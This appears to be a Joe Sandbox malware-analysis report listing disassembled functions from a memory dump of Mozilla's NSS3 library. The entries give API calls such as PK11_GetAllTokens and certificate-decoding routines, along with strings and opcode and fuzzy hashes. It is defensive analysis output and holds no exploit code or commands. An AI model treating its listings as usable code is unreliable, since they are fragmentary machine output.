Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 13f09206e1250a7d2bd9fd53e1b4ed4c963bb96e3001881d14558b3356b21910
Instruction ID: 07646737e5cc6d16bfc39f0147368ba7dcd9693e123dd0819d4bd7fb92946046
Opcode Fuzzy Hash: 13f09206e1250a7d2bd9fd53e1b4ed4c963bb96e3001881d14558b3356b21910
Instruction Fuzzy Hash: EE3103B1B022A19BFB509B65885CF4BB7BCDB1B308F154125EA06C3640E774DE08DBE2

Function 6CB22E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB22F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CB22FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CB23005
memcpy.VCRUNTIME140(?,?,?), ref: 6CB230EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB23131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB23178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB23022, 6CB23156, 6CB23162, 6CB2318A, 6CB23196, 6CB231A2, 6CB231AE, 6CB231BA, 6CB231C6
%s at line %d of [%.10s], xrefs: 6CB23171
database corruption, xrefs: 6CB2316C

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: ccd6e81f45b3aa4b121a6a4d7c7d7c34df67b75696a3164d39c984321ac7fb94
Instruction ID: 8903aaaa360dcd980747687d67f498a3cb9bacccdeec1e1b2e37048c0123247e
Opcode Fuzzy Hash: ccd6e81f45b3aa4b121a6a4d7c7d7c34df67b75696a3164d39c984321ac7fb94
Instruction Fuzzy Hash: 19B18B70E052599BCB18CF99C884ABEB7B5FF48304F144029E849A7B41D7789981CBA5

Function 6CBF7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CBF7FB2

Part of subcall function 6CB7BA40: TlsGetValue.KERNEL32 ref: 6CB7BA51
Part of subcall function 6CB7BA40: TlsGetValue.KERNEL32 ref: 6CB7BA6B
Part of subcall function 6CB7BA40: EnterCriticalSection.KERNEL32 ref: 6CB7BA83
Part of subcall function 6CB7BA40: TlsGetValue.KERNEL32 ref: 6CB7BAA1
Part of subcall function 6CB7BA40: _PR_MD_UNLOCK.NSS3 ref: 6CB7BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CBF7FD4

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CBF9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CBF9466

PR_ExitMonitor.NSS3(?), ref: 6CBF801B
PR_EnterMonitor.NSS3(?), ref: 6CBF8034
TlsGetValue.KERNEL32 ref: 6CBF80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBF80C0
PR_ExitMonitor.NSS3(?), ref: 6CBF811C
PR_ExitMonitor.NSS3(?), ref: 6CBF8134

Strings

), xrefs: 6CBF80DB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: cba67cbce69d237b35b6eb37d520ff440448e903dc458553980936836f718be8
Instruction ID: fe1ffa4ccc91a62479234f34470c36da81fc312dca03a07d5158b52784fdd0da
Opcode Fuzzy Hash: cba67cbce69d237b35b6eb37d520ff440448e903dc458553980936836f718be8
Instruction Fuzzy Hash: EF512871A007849BEB219F369C007DB77B4EF5730CF44462ADD6556B41EB32A60EC792

Function 6CB9FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CB9FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CB9FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CB9FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB9FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CB9FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CB9FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CB9FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB9FD84

Strings

:, xrefs: 6CB9FD78

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: c85f5714415ff3638c14bfd1f0d3fca9850166ab67e492c7384b17c69d088f76
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: A131F1B2D002A59BEB008BA4DC017AF77A8EF56728F254038EC14A7B11E771E908C7D3

Function 6CB80F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB80F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB80F84

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CB9F59B,6CCA890C,?), ref: 6CB80FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CB80FC1

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CB80FDB
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB80FEF
PL_FreeArenaPool.NSS3(?), ref: 6CB81001
PL_FinishArenaPool.NSS3(?), ref: 6CB81009

Strings

security, xrefs: 6CB80F5C

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 4451fa9f172e89eefe0ea03250f3d9690c42d715296b0fe6f8cb77f1b9596105
Instruction ID: 0d17226d753c56e49182c43ea77bcee58339dab8d011bb42d543e9507b6ca3dc
Opcode Fuzzy Hash: 4451fa9f172e89eefe0ea03250f3d9690c42d715296b0fe6f8cb77f1b9596105
Instruction Fuzzy Hash: 452106B1901284ABE7109F24DC40EAF77B8EF49798F048519FC189B701FB31E546CB92

Function 6CB86DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CB87D8F,6CB87D8F,?,?), ref: 6CB86DC8

Part of subcall function 6CBDFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBDFE08
Part of subcall function 6CBDFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBDFE1D
Part of subcall function 6CBDFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBDFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CB87D8F,?,?), ref: 6CB86DD5

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCA8FA0,00000000,?,?,?,?,6CB87D8F,?,?), ref: 6CB86DF7

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB86E35

Part of subcall function 6CBDFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CBDFE29
Part of subcall function 6CBDFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CBDFE3D
Part of subcall function 6CBDFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CBDFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB86E4C

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCA8FE0,00000000), ref: 6CB86E82

Part of subcall function 6CB86AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CB8B21D,00000000,00000000,6CB8B219,?,6CB86BFB,00000000,?,00000000,00000000,?,?,?,6CB8B21D), ref: 6CB86B01
Part of subcall function 6CB86AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB86B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB86F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB86F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCA8FE0,00000000), ref: 6CB86F6B
PR_SetError.NSS3(FFFFE005,00000000,6CB87D8F,?,?), ref: 6CB86FE1

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3747b892628ebac2194934ef2fc5c49148cc5e54b63c3a1141c2077eec5206ff
Instruction ID: 13d4075c1a6b4e7a1bf01d3ef185d4ad2345330cbf5b3f5b8daa114756a5a457
Opcode Fuzzy Hash: 3747b892628ebac2194934ef2fc5c49148cc5e54b63c3a1141c2077eec5206ff
Instruction Fuzzy Hash: 70719371E216869FDB00CF55CD40BAAB7A8FF54348F154229E818DBB11F770EA94CB91

Function 6CBC0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBC1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBC1085
PK11_GetAllTokens.NSS3 ref: 6CBC10B1
free.MOZGLUE(?), ref: 6CBC1107
PR_SetError.NSS3(00000000,00000000), ref: 6CBC1172
free.MOZGLUE(?), ref: 6CBC1182
free.MOZGLUE(?), ref: 6CBC11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CBC11C5

Part of subcall function 6CBC52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CB9EAC5,00000001), ref: 6CBC52DF
Part of subcall function 6CBC52C0: EnterCriticalSection.KERNEL32(?), ref: 6CBC52F3
Part of subcall function 6CBC52C0: PR_Unlock.NSS3(?), ref: 6CBC5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CBC11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CBC11F3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: a1937cb0b15f615d080a15cda4327893b7bb8c3e240fb0007519b80e3ed469ca
Instruction ID: 5af6f1d20c28b13e4d70c641d15d9e934c0f9a182685abae8a9fbaa9fdaae519
Opcode Fuzzy Hash: a1937cb0b15f615d080a15cda4327893b7bb8c3e240fb0007519b80e3ed469ca
Instruction Fuzzy Hash: 606173B4F003859BEB00DFA4D845B9EB7B5EF04348F184128ED19AB741EB31E945CBA2

Function 6CBCADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE10
EnterCriticalSection.KERNEL32(?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CBAD079,00000000,00000001), ref: 6CBCAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE7F
TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEF1
free.MOZGLUE(6CBACDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBACDBB,?), ref: 6CBCAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAF30

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 2d855ca44ecb2a6ba8320869865bb8e71864f40f490fbda31fc2cb8bd940f991
Instruction ID: 6ef428fb0ef2d817492a1699164d53ac838bac107ecec49955107c9e39905dc7
Opcode Fuzzy Hash: 2d855ca44ecb2a6ba8320869865bb8e71864f40f490fbda31fc2cb8bd940f991
Instruction Fuzzy Hash: 545180B1A00642AFDB01DF29D884B59B7B4FF09319F244665E81897E11E731F8A4CFE2

Function 6CBA4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CBAAB7F,?,00000000,?), ref: 6CBA4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CBAAB7F,?,00000000,?), ref: 6CBA4CC8
TlsGetValue.KERNEL32(?,6CBAAB7F,?,00000000,?), ref: 6CBA4CE0
EnterCriticalSection.KERNEL32(?,?,6CBAAB7F,?,00000000,?), ref: 6CBA4CF4
PL_HashTableLookup.NSS3(?,?,?,6CBAAB7F,?,00000000,?), ref: 6CBA4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CBA4D10

Part of subcall function 6CC2DD70: TlsGetValue.KERNEL32 ref: 6CC2DD8C
Part of subcall function 6CC2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC2DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CBA4D26

Part of subcall function 6CC49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DC6
Part of subcall function 6CC49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC90A27), ref: 6CC49DD1
Part of subcall function 6CC49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC49DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CBA4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CBA4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CBA4E02

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 50a77b3653b3f688669174f77a01a5bed1164ae89a03eeb154c7a7bcf792cf50
Instruction ID: 51047c1ad23e405ffeac727885e5a20046f1c4ecb08c8d0ab5802a9185f01b30
Opcode Fuzzy Hash: 50a77b3653b3f688669174f77a01a5bed1164ae89a03eeb154c7a7bcf792cf50
Instruction Fuzzy Hash: 1341A3B5D04651AFEB009F68EC40A5A77B8EF06219F145170EC5887B12FF31ED29CBA2

Function 6CB8BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8BFFB

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6CB8C015

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6CB8C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6CB8C04D

Part of subcall function 6CBD69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBD6A47
Part of subcall function 6CBD69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6CBD6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6CB8C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6CB8C07B

Part of subcall function 6CB88980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CB87310), ref: 6CB889B8
Part of subcall function 6CB88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CB87310), ref: 6CB889E6
Part of subcall function 6CB88980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CB88A00
Part of subcall function 6CB88980: CERT_CopyRDN.NSS3(00000004,00000000,6CB87310,?,?,00000004,?), ref: 6CB88A1B
Part of subcall function 6CB88980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CB88A74

Part of subcall function 6CB81D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6CB8C097,00000000,000000B0,?), ref: 6CB81D2C
Part of subcall function 6CB81D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6CB8C09B,00000000,00000000,00000000,?,6CB8C097,00000000,000000B0,?), ref: 6CB81D3F
Part of subcall function 6CB81D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6CB8C087,00000000,000000B0,?), ref: 6CB81D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6CB8C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6CB8C0C9

Part of subcall function 6CB92DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6CB8C0D2,6CB8C0CE,00000000,-000000D4,?), ref: 6CB92DF5
Part of subcall function 6CB92DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6CB8C0CE,00000000,-000000D4,?), ref: 6CB92E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6CB8C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8C0E3

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
